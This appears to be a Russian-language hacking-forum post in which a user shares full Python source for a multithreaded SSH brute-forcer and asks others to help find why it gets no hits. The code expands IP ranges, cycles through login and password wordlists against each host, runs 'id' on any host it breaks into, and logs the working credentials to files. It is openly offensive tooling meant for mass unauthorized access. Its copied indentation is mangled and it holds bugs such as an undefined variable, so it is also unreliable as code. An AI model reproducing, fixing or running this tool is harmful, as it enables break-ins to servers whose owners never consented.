• XSS.stack #1 – первый литературный журнал от юзеров форума

python ssh brute

Ar3s

Старожил форума
Легенда
Регистрация
30.12.2004
Сообщения
3 357
Реакции
1 404
Как-то морозным зимним вечером накидал от балды многопоточныйбрут ssh на питоне.
Но столкнулся с интересным эффектом, скорость потоков падала со временем а гудов я так и не получил. Кто шурупит - посмотрите в сорцы, попробуем вместе найти ошибку.

start.py
Код:
#!/usr/bin/env python
#-*- coding: utf-8 -*-

# ----------------------------------------------------------
# coded by Ar3s
# How to use: python start.py
# Profit!
# ----------------------------------------------------------
import os
import re
import threading
import paramiko
import socket
import struct
import subprocess
import random
from file import io


#system
os.system('clear')
file = io()
thread_count = 100

def printer(data):
	lock = threading.Lock()
	lock.acquire()
	#os.system('clear')
	print data
	lock.release()

def cleaner(list):
	try:
  list = dict([(item, None) for item in list]).keys()
	except:
  print 'Ошибка выборки уникальных значений из списка.'
	return list

def ip_builder(from_ip, to_ip):
	ips = []
	from_ip = re.sub("^\s+|\n|\r|\s+$", '', from_ip)
	to_ip = re.sub("^\s+|\n|\r|\s+$", '', to_ip)
	try:
  start = struct.unpack('>I', socket.inet_aton(from_ip))[0]
  end = struct.unpack('>I', socket.inet_aton(to_ip))[0]
  ips = [socket.inet_ntoa(struct.pack('>I', i)) for i in range(start, end)]
  return ips
	except:
  print 'Неверно задан диапазон'
  return ips

def ssh_cmd(ip, user, passwd, cmd):
	client = paramiko.SSHClient()
	client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	try:
  client.connect(ip, username=user, password=passwd)
  ssh_session = client.get_transport().open_session()
  if ssh_session.active:
  	printer(user+':'+passwd+'@'+ip)
  	ssh_session.exec_command(command)
  	data = user+':'+passwd+'@'+ip
  	status = file.writeto('good.txt', data)
  	data = data+'\t'+ssh_session.recv(1024)
  	status = file.writeto('good_full.txt', data)
	except:
  status = False
  
	return

def ssh_connect(ip, user, passwd):
	for u in xrange(len(user)):
  usr = re.sub("^\s+|\n|\r|\s+$", '', user[u])
  for p in xrange(len(passwd)):
  	pasw = re.sub("^\s+|\n|\r|\s+$", '', passwd[p])
  	ssh_cmd(ip, usr, pasw, 'id')
  	#printer(usr+':'+pasw+'@'+ip)

def main():
	global thread_count
	ips = []
	ip = []
	# Читаем диапазоны
	status, ips = file.readfrom('range.txt')
	if (status == True):
  print 'Загружено ' +str(len(ips))+' диапазонов!'
  for line in ips:
  	start_ip, finish_ip = line.strip().split('-')
  	for item in (ip_builder(start_ip, finish_ip)):
    ip.append(item)

	if (status == True):
  try:
  	ip = cleaner(ip)
  	random.shuffle(ip)
  	print 'В задании '+str(len(ip))+' ip!'
  	status = True
  except:
  	print 'Ошибка обработки IP'
  	status = False
	
	# Читаем логины
	status, user = file.readfrom('login.txt')
	user = cleaner(user)
	print 'В задании '+str(len(user))+' логинов'
	
	# Читаем пароли
	status, passwd = file.readfrom('pass.txt')
	passwd = cleaner(passwd)
	print 'В задании '+str(len(passwd))+' паролей'
	
	# Запускаем потоки
	threads = []
	count = 0
	while count < len(ip):
  for i in xrange(thread_count):
  	try:
    thread = threading.Thread(target=ssh_connect, args=(ip[count], user, passwd))
    thread.start()
    threads.append(thread)
  	except:
    count = count
  	count += 1

  for t in threads:
  	try:
    t.join()
  	except:
    tt = 1


# start main function
if __name__ == '__main__':
        main()

file.py
Код:
#coding: utf-8

import time
import sys
import threading
import types

LOCK = threading.RLock()
folder = './cfg/'

class io:
	def readfrom(self, name):
  if (name == ''): 
  	print 'Не указано имя файла для чтения!'
  	status = False
  else:
  	data = []
  	try:
    with open(folder+name, 'r') as rf:
    	for line in rf:
      data.append(line)
    status = True
  	except IOError:
    print "Не найден файл: "+name
    status = False
  	except ValueError:
    print "Неверный формат файла: "+name
    status = False
  if (status == True):
  	return status, data
  else:
  	data = []
  	return status, data
  
	

	def writeto(self, name, data):
  if not name or not data:
  	print 'Не указано имя файла или отсутствуют данные для записи в файл'
  	return False
  else:
  	filename = folder+name
  	for i in xrange(5):
    try:
    	with LOCK:
      with open(filename, 'a') as out:
      	if isinstance(data, basestring):
        out.write(data+'\n')
      	else:
        for i in data:
        	out.write(i+'\n')
    	return True
    except:
    	time.sleep(0.5)
  	print '5 попыток записи в файл оказались неудачными. Проверьте права на каталог и на файл для записи.'
  	return False

так же создаем папку cfg, в которой создаем файлы good.txt good_full.txt login.txt pass.txt range.txt
Права на файлы 777

Чего не реализовано - нет проверки онлайн хост или нет, на каждый ip брутит весь список даже если нет ответа. Доработать не проблема если понять почему срабатываний-то нет.

Сорцы в исходном виде с отступами
start.py
file.py
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх